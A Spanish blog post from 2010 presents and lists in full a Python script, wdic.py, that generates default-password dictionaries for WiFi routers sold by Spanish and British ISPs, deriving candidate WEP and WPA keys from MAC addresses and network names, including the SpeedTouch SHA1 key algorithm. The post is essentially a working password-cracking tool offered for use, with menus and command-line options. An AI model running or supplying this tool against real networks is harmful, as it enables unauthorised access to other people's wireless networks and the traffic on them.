lunes, 2 de agosto de 2010

Generador de diccionarios wifi

Hoy...un script que lleva en el disco duro desde hace un año, simplemente genera los diccionarios de contraseñas por defecto para varios tipos de routers. No se si desde entonces se descubrieron los patrones de nuevos routers, si alguien sabe de alguno que avise.

Se puede descargar aquí [wdic.py], o coloreado al final.
Lo dicho, ya tiene su tiempo y le hace falta una reescritura a C (en cuanto encuentre tiempo), pero funciona.

Hay dos formas de usarlo, lanzándolo directamente se maneja con menús


./wdic.py


 Toda la salida que no sean las contraseñas se hace por stderr, así que se puede redirigir tranquilamente y los menús seguirán saliendo:


./wdic.py > diccionario


O mandando todos los parámetros por la línea de comandos, así que funcionaría sin intervención del usuario, se pueden ver los parámetros con:


./wdic -?


Por ejemplo:

Hasta otra...


#!/usr/bin/env python
# 
# Escrito por kenkeiras
# Bajo la licencia GPLv3

import string
import sys 

#################################################################
# Esto elimina esos molestos ':' de la bssid

def clean_bssid(bssid):

        new=[]
        i=0
        for element in bssid:
          if element!=':':
                    new.append(element)
                    i=i+1

        return new

#################################################################    
# Esto comprueba que la mac/bssid tenga la longitud adecuada

def check_bssid(bssid,num):
    if len(bssid)==num:
        return True
    else:
        return False

#################################################################    
# Pasa un string a hexadecimal

def ascii2hex(arr):
        lst=[]
        for element in arr:
                elm=string.join(hex(ord(element)),"")
                lst.append(elm[2:len(elm)])
        return  string.join(lst,"")

##################################################################
# Esto va haciendo pasar a un array de enteros por todos los valores

def permute_int(array,num):
        new=array
        while num>0:
                if new[num]!=9:
                        new[num]+=1
                        break
                else:
                        new[num]=int(0)
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores decimales

def permute_text_int(array,num):
        new=array
        while num>0:
                if new[num]!='9':
                        new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres en minuscula por todos los valores

def permute_lowcase(array,num):

        new=array
        while num>0:
                if new[num]!='z':
                        new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='a'
                        num-=1
        return new



##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los valores hexadecimales

def permute_hex(array,num):

        new=array
        while num>0:
                if new[num]!='F':
                        if new[num]=='9':
                                new[num]='A'
                        else:
                                new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

##################################################################
# Esto va haciendo pasar a un array de caracteres por todos los caracteres y numeros

def permute_comp(array,num):

        new=array
        while num>0:
                if new[num]!='Z':
                        if new[num]=='9':
                                new[num]='A'
                        else:
                                new[num]=chr(ord(new[num])+1)
                        break
                else:
                        new[num]='0'
                        num-=1
        return new

###################################################################
# Cambia todas las letras de un array de caracteres hexadecimales a mayuscula

def hex_upcase(array):
        new=[]
        for element in array:
                if element<='9':
                        new.append(element)
                else:
                        if element>='a':
                                if element=='a':
                                        new.append('A')
                                elif element=='b':
                                        new.append('B')
                                elif element=='c':
                                        new.append('C')
                                elif element=='d':
                                        new.append('D')
                                elif element=='e':
                                        new.append('E')
                                elif element=='f':
                                        new.append('F')

                        else:
                                new.append(element)
        return new

##################################################################
# Muestra un array

def strshow(array):
        print string.join(array,'')

##################################################################
#
# Aqui empieza lo interesante... ;)}
#
##################################################################
# WLAN
# Para las redes WLAN_XX y JAZZTEL_XX
# Esto va preparando las contrasenhas y las va pasando al strshow para que las muestre

def show_wlan(p1,p2,end):
        act=[]
        fin=[]
        passwd=range(13)
        for char in p1:
                act.append(char)
                fin.append(char)
        i=0
        while (i<4):
                act.append('0')
                fin.append('F')
                i+=1
        for char in p2:
                act.append(char)
        for char in end:
                fin.append(char)
        if (p2=="00"):
                offset=12
        else:
                offset=10
        while (act!=fin):
                i=0
                for char in act:
                        passwd[i]=str(char)
                        i+=1
                strshow(passwd)
                if act[11:13]==fin[11:13]:
                        act=permute_hex(act,offset)
                else:        
                        act=permute_hex(act,offset)
        strshow(fin)

##################################################################
# Esto recibe la mac, busca el modelo del router y manda el principio de la contrasenha y el final (que viene de la funcion que wlan) a show_wlan
# Nota: se espera que el primer par de la bssid sea 00, asi que ya no se comprueba

def get_wlan_bssid(mac,chars,end):
        # Z-Com
        # 
        if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):
                show_wlan('Z001349',chars,end)
                
        # Xavy
        # 
        elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):
                show_wlan('X000138',chars,end)
                
        # Comtrend
        # 
        elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):
                show_wlan('C0030DA',chars,end)
                
        # Zyxel
        # ->(thefkboss)
        elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):
                show_wlan('Z001349',chars,end)
                
        # Comtrend (otro mas)
        # ->(dnreinad)
        elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):
                show_wlan('C0030DA',chars,end)
                
        # P-660-HW-D1
        # ->(Tertulia de foro.elhacker.net)
        elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):
                show_wlan('Z001349',chars,end)
                show_wlan('Z0002CF',chars,end)
                
        # ZyGate
        # 
        elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):
                show_wlan('Z0002CF',chars,end)
                show_wlan('Z0023F8',chars,end)
                
        # Jazztel 
        elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):
               show_wlan('E001D20',chars,end)
        # Y Comtrend 2007-2008
        # ->(dudux* y dnreinad)
               show_wlan('C0030DA',chars,end)
               show_wlan('C001D20',chars,end)

        # ZyGate
        # ->(pianista y Sycho)
        elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):
                show_wlan('Z0002CF',chars,end)
                show_wlan('Z0019CB',chars,end)
                
        # Comtrend
        # ->(hrodgar)
        elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):
                show_wlan('C0030DA',chars,end)
                
        # Comtrend 2008
        # ->(Mugen de el foro.elhacker.net)
        elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):
                show_wlan('C0030DA',chars,end)
                
        # Comtrend 2008
        #
        elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):
                show_wlan('C001D20',chars,end)
                
        # Zyxel P660HW-D1  2009
        # ->(Zim_Zum y buckynet de seguridadwireless.net)
        elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):
                show_wlan('C0023F8',chars,end)
                
        # Xavy 2009
        # ->(zim_zum y *dudux)
        elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):
                show_wlan('X000138',chars,end)
        
        
        else:
                print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac[2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"

##################################################################
# Esto limpia la mac y coje lo interesante de la essid y lo manda todo a get_wlan_bssid

def wlan(essid,bssid):
        mac=range(12)
        variable_chars=[]
        end=[]
        if (essid[len(essid)-1])=='?':
                end.append('F')
                end.append('F')
                variable_chars.append('0')
                variable_chars.append('0')
        else:
                variable_chars.append(essid[len(essid)-2])
                variable_chars.append(essid[len(essid)-1])
                end=variable_chars
        mac=clean_bssid(bssid)
        mac=hex_upcase(mac)
        variable_chars=string.join(variable_chars,'')
        end=string.join(end,'')
        if check_bssid(mac,12)==False:
            print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
        else:
                get_wlan_bssid(mac,variable_chars,end)

###################################################################
# Este es el menu de las funciones de WLAN

def menu_wlan():
    print >> sys.stderr,"Introduce la MAC del router:",
    mac=raw_input('')
    print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",
    essid=raw_input('')
    wlan(essid,mac)


###################################################################
# r-wlan
# Para las redes r-wlan
# Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y final y va mandandolas todas a strshow)

def r_wlan(opc,init=0,end=0):
        passwd=range(12)
        if opc=='a':
                act=[int(init[0]),int(init[1]),int(init[2]),int(init[3]),0,0,0,0]
                fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]
        else:
                act=[0,0,0,0,0,0,0,0]
                fin=[9,9,9,9,9,9,9,9]
        passwd[8:12]='00000'
        while (act!=fin):
                i=0
                for caja in act:
                        passwd[i]=str(caja)
                        i+=1
                strshow(passwd)
                act=permute_int(act,7)
        #Y una ultima vez para la ultima string
        i=0
        for caja in act:
                passwd[i]=str(caja)
                i+=1
        strshow(passwd)

###############################################################
# Muestra las opciones para las redes r-wlan

def menu_r_wlan():
        opc=''
        init=''
        end=''
        
        while (opc!='g' and opc!='a'):
                print >> sys.stderr,"Que tipo de diccionario prefieres, general(g) o por anhos(a)?",
                opc=raw_input('')
        if opc=='a':
                print >> sys.stderr,"Introduce anho incicial (4 digitos):",
                init=raw_input('')
                print >> sys.stderr,"Introduce anho final (4 digitos):",
                end=raw_input('')
        r_wlan(opc,init,end)

###################################################################
# ADSL
# Para las redes ADSLXXXX
# Esto se encarga de todo el proceso, comprueba que existe la libreria de hash, la importa y le va pasando los valores

def adsl_wlan(essid):
        haymd5=True
        essid_vars=range(4)
        try:
                import hashlib
        except:
                print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."
                haymd5=False
        if haymd5:
                i=4
                j=0
                act=range(8)
                while i>0:
                        essid_vars[j]=essid[len(essid)-i]
                        j+=1
                        i-=1
                i=0
                while i<4:
                        act[i]='a'
                        i+=1
                while i<8:
                        act[i]=essid_vars[i-4]
                        i+=1
                fin=False
                while not fin:
                        act=permute_lowcase(act,3)
                        print hashlib.md5(str(act)).hexdigest()
                        i=0
                        j=0
                        while i<4:
                             if act[i]=='z':
                                     j+=1
                             i+=1
                        if j==4:
                                     fin=True

################################################################
# Esto es el menu para las ADSL

def menu_adsl_wlan():
        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input('')
        adsl_wlan(essid)

################################################################
# DLink
# Para las redes DLINK-WIRELESS
# Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid

def dlink_wlan(bssid,auto):
        # Ojo, que la master Key real es la misma pero con todos los valores +1
        # pero esto esta asi para que funcione bien con los arrays de python
        master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]
        mac=clean_bssid(bssid)
        mac=hex_upcase(mac)
        if check_bssid(mac,12)==False:
            print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"
        else:
            ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]
            if auto==False:
                  print >> sys.stderr, "Prueba con esta:\n",
            for num in master_key:
                print  str(ppas[num][0])+str(ppas[num][1]),
            print ''
            if ppas[2][1]!='0' or ppas[2][0]!='0':
               if auto==False:     
                     print >> sys.stderr, "Y con esta:",
               print ""
               i=0
               j=0
               for num in master_key:
                       if i==12:
                               j=-1
                       else:
                               j=0
                       if not (j==-1 and (ppas[num][1]=='A' or ppas[num][1]=='0')):
                         print  str(ppas[num][0])+str(chr(ord(ppas[num][1])+j)),
                       elif ppas[num][1]=='A':
                           print  str(ppas[num][0])+"9",
                       else:
                           print  str(chr(ord(ppas[num][0])+j))+"F",
                       i+=1
        
############################################################
# Menu para las D-link

def menu_dlink_wlan():
      print >> sys.stderr,"Introduce la MAC del router:",
      mac=raw_input('')
      dlink_wlan(mac,False)

############################################################
# ONO
# Para las redes PXXXXXXXXXXXXX
# Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)

def ono_wlan(essid,auto):
        i=0
        nov=[]

        for algo in essid:
                if algo!='P' and algo!='p':
                        ult=int(algo)
                        nov.append(algo)
        if ult!=0:
                ult-=1
                nov[len(nov)-1]=str(ult)
        if auto==False:
                print >> sys.stderr, "Prueba con esta: ",
        for byte in nov:
            print byte,

#################################################################
# Menu para las redes de ONO

def menu_ono_wlan():
        print >> sys.stderr,"Introduce el Nombre de la red:",
        essid=raw_input('')
        ono_wlan(essid,False)

#################################################################
# Tele2
# Para las redes de Tele2
# Va preparando las contrasenhas predeterminadas posibles y mandandolas a strshow

def tele2_wlan(opc):
        act=range(9)
        fin=range(9)
        i=1
        while (i<9):
                act[i]='0'
                i+=1
        i=1
        while (i<9):
                fin[i]='9'
                i+=1
        if opc=='7':
                act[0]=opc
                fin[0]=opc
        elif opc=='8':
                act[0:2]='PV'
                fin[0:2]='PV'
        else:
                act[0]='0'
                fin[0]='9'
        passwd=range(13)
        passwd[0:4]="IX1V"
        while (act!=fin):
                i=4
                for char in act:
                        passwd[i]=str(char)
                        i+=1
                strshow(passwd)
                act=permute_text_int(act,8)

#################################################################
# Menu para las Tele2

def menu_tele2_wlan():
    opc=''
    while (opc!='g' and opc!='7' and opc!='8'):
                print >> sys.stderr,"Que tipo de diccionario prefieres, general(g), el de 2007(7), el de 2008(8)?",
                opc=raw_input('')
    tele2_wlan(opc)
#################################################################
# SpeedTouch
# Para redes SpeedTouch
# ->Algoritmo descubierto por Kevin Devine
# Funcion general

def speed_touch_wlan(ssid,num,inicio,fin):
        lib=True
        try:
                import hashlib
        except:
                lib=False
                print >> sys.stderr, "No se encontro la libreria de hashes"
        if lib:
                endyear=[]
                passwd=range(9)
                endyear.append(fin[0])
                endyear.append(fin[1])
                essid=ssid[len(ssid)-num:len(ssid)]
                essid=essid.lower()
                true_endyear=permute_text_int(endyear,1)
                passwd[0:2]="CP"
                passwd[2:4]=string.join(inicio,"")   # Anho de inicio
                while passwd[2:4]!=true_endyear:
                        passwd[4:6]="00"
                        while string.join(passwd[4:6],"")!="53":
                                passwd[6:9]="000"
                                while string.join(passwd[6:9],"")!="ZZZ":
                                        check_speedTouch(passwd,essid,num)
                                        permute_comp(passwd,8)
                                check_speedTouch(passwd,essid,num)
                                permute_text_int(passwd,5)
                        check_speedTouch(passwd,essid,num)
                        permute_text_int(passwd,3)

#################################################################
# Funcion de comprobacion de las redes SpeedTouch

def check_speedTouch(pas,essid,num):
        import hashlib
        correct=True
        hexpas=range(12)
        hexpas[0:6]=pas[0:6]
        hexpas[6:12]=ascii2hex(pas[6:9])
        out=hashlib.sha1(string.join(hexpas,"")).hexdigest()
        chk=string.join(out[len(out)-num:len(out)],"")
        if essid==chk:
                if num==6:
                        print str(out[0:10].upper())
                else:
                        print str(out[0:10].lower())

#################################################################
# Menu para las redes SpeedTouch

def menu_speed_touch_wlan():
        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input("")
        print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
        inicio=raw_input("")
        print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
        fin=raw_input("")
        speed_touch_wlan(essid,6,inicio,fin)

#################################################################
# Menu para las redes BTHomeHub
# El resto del codigo se usa el de SpeedTouch

def menu_bthh_wlan():

        print >> sys.stderr,"Introduce el nombre de la red:",
        essid=raw_input("")
        print >> sys.stderr,"Introduce el anho por el que se comenzara la busqueda (por ejemplo 05):",
        inicio=raw_input("")
        print >> sys.stderr,"Introduce el ultimo anho de la busqueda (por ejemplo 09):",
        fin=raw_input("")
        speed_touch_wlan(essid,4,inicio,fin)


#################################################################
# Mensaje de error (para cualquier error en los parametros)

def error_param():
    print >> sys.stderr, "Error, parametros no validos."
    print >> sys.stderr, "Ejecuta el script con -? para mostrar las opciones."

#################################################################
# Mensaje de... ayuda?

def wdic_ayuda():
    print >> sys.stderr, " Wlan Dictionary Maker"
    print >> sys.stderr, " Opciones:\n"

    print >> sys.stderr, "  Sin argumentos: Ejecuta el script a traves de los menus.\n"

    print >> sys.stderr, "  =>Para redes WLAN o JAZZTEL: wdic.py wlan essid bssid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi (?? si no se conoce)."
    print >> sys.stderr, "   bssid: Bssid de el punto de acceso.\n"

    print >> sys.stderr, "  =>Para redes R: wdic.py r -opc [anho_inicial] [anho_final]"
    print >> sys.stderr, "   Opc: -g para diccionario general, -a para diccionario por anhos."
    print >> sys.stderr, "   Anho final e inicial con 4 digitos.\n"

    print >> sys.stderr, "  =>Para redes ADSL: wdic.py adsl essid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi."
    print >> sys.stderr, "  ->Salida en hexadecimal.\n"

    print >> sys.stderr, "  =>Para redes DLINK-WIRELESS: wdic.py dlink bssid"
    print >> sys.stderr, "   bssid: Bssid de el punto de acceso."
    print >> sys.stderr, "  ->Salida en hexadecimal.\n"

    print >> sys.stderr, "  =>Para redes ONO (PXXXXXXXXXXXX): wdic.py ono essid"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

    print >> sys.stderr, "  =>Para redes Tele2: wdic.py tele2 opc "
    print >> sys.stderr, "   Opc: g para diccionario general, 7 para diccionario de 2007 y 8 para el de 2008.\n"
    print >> sys.stderr, "   Anho final e inicial con 2 digitos.\n"

    print >> sys.stderr, "  =>Para redes SpeedTouch: wdic.py speedtouch essid anho_inicial anho_final"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"

    print >> sys.stderr, "  =>Para redes BT Home Hub: wdic.py bthh essid anho_inicial anho_final"
    print >> sys.stderr, "   essid: Nombre de la red Wifi.\n"
    
    print >> sys.stderr, "  ->Nota: Cuando pide el nombre de la red solo coje la parte que cambia, asi que por ejemplo en WLAN_AB se podria poner simplemente AB\n"

#################################################################
# Menu general del script

def menu():

        print >> sys.stderr, "Bienvenid@ a Wlan Dictionary Maker.\n"
        fin=False
        while (fin==False):
                print >> sys.stderr, "\tSelecciona un tipo de Wifi.\n"
                print >> sys.stderr, "\tWEP\n"
                print >> sys.stderr, "\t a) WLAN_XX"
                print >> sys.stderr, "\t b) JAZZTEL_XX"
                print >> sys.stderr, "\t c) R-WLANXX"
                print >> sys.stderr, "\t d) ADSLXXXX"
                print >> sys.stderr, "\t e) DLINK-WIRELESS"
                print >> sys.stderr, "\t f) PXXXXXXXXX\t(ONO)\n"
                print >> sys.stderr, "\tWPA\n"
                print >> sys.stderr, "\t g) Tele2"
                print >> sys.stderr, "\t h) SpeedTouch"
                print >> sys.stderr, "\t i) BTHomeHub"
                print >> sys.stderr, "\t x) Salir"

                print >> sys.stderr, '\n->',
                opc=raw_input('')
                if (opc=='a'):
                        menu_wlan()
                elif (opc=='b'):
                        menu_wlan()
                elif (opc=='c'):
                        menu_r_wlan()
                elif (opc=='d'):
                        menu_adsl_wlan()
                elif (opc=='e'):
                        menu_dlink_wlan()
                elif (opc=='f'):
                        menu_ono_wlan()
                elif (opc=='g'):
                        menu_tele2_wlan()
                elif (opc=='h'):
                        menu_speed_touch_wlan()
                elif (opc=='i'):
                        menu_bthh_wlan()
                elif (opc=='x'):
                        fin=True
                else:
                        print >> sys.stderr, "\n+-----------------------+"
                        print >> sys.stderr, "| Opcion no encontrada. |"
                        print >> sys.stderr, "+-----------------------+\n"
                        print >> sys.stderr, " -> Pulsa enter para continuar.\n"
                if not fin:
                        raw_input()



# Listo, de aqui hasta abajo solo se encarga de comprobar que argumentos se mandaron y lanzar las funciones

try:
        argc=len(sys.argv)
except:
        argc=1

# Sin parametros (menu):
if argc==1:
    menu()

# Ayuda:
elif argc==2 and sys.argv[1]=="-?":
    wdic_ayuda()

###### WEP ######

# Wlan y Jazztel:
elif sys.argv[1]=='wlan':
    if argc==4:
        wlan(sys.argv[2],sys.argv[3])
    else:
        error_param()

# R:
elif sys.argv[1]=='r':
    if argc>2:
        if sys.argv[2]=='-a':
            r_wlan('a',sys.argv[3],sys.argv[4])     
        elif sys.argv[2]=='-g':
            r_wlan('g')
        else:
            error_param()
    else:
        error_param()

# ADSL:
elif sys.argv[1]=='adsl':
        if argc==3:
                adsl_wlan(sys.argv[2])
        else:
                error_param()

# D-Link
elif sys.argv[1]=='dlink':
        if argc==3:
                dlink_wlan(sys.argv[2],True)
        else:
                error_param()

# ONO
elif sys.argv[1]=='ono':
        if argc==3:
                ono_wlan(sys.argv[2],True)
        else:
                error_param()


###### WPA ######

# Tele2:
elif sys.argv[1]=='tele2':
    if argc==3:
            tele2_wlan(sys.argv[2])     
    else:
        error_param()

# SpeedTouch:
elif sys.argv[1]=='speedtouch':
    if argc==5:
            speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
    else:
        error_param()

# SpeedTouch:
elif sys.argv[1]=='speedtouch':
    if argc==5:
            speed_touch_wlan(sys.argv[2],6,sys.argv[3],sys.argv[4])
    else:
        error_param()

# BT Home Hub:
elif sys.argv[1]=='bthh':
    if argc==5:
            speed_touch_wlan(sys.argv[2],4,sys.argv[3],sys.argv[4])
    else:
        error_param()


# Sino...
else:
    error_param()

No hay comentarios:

Publicar un comentario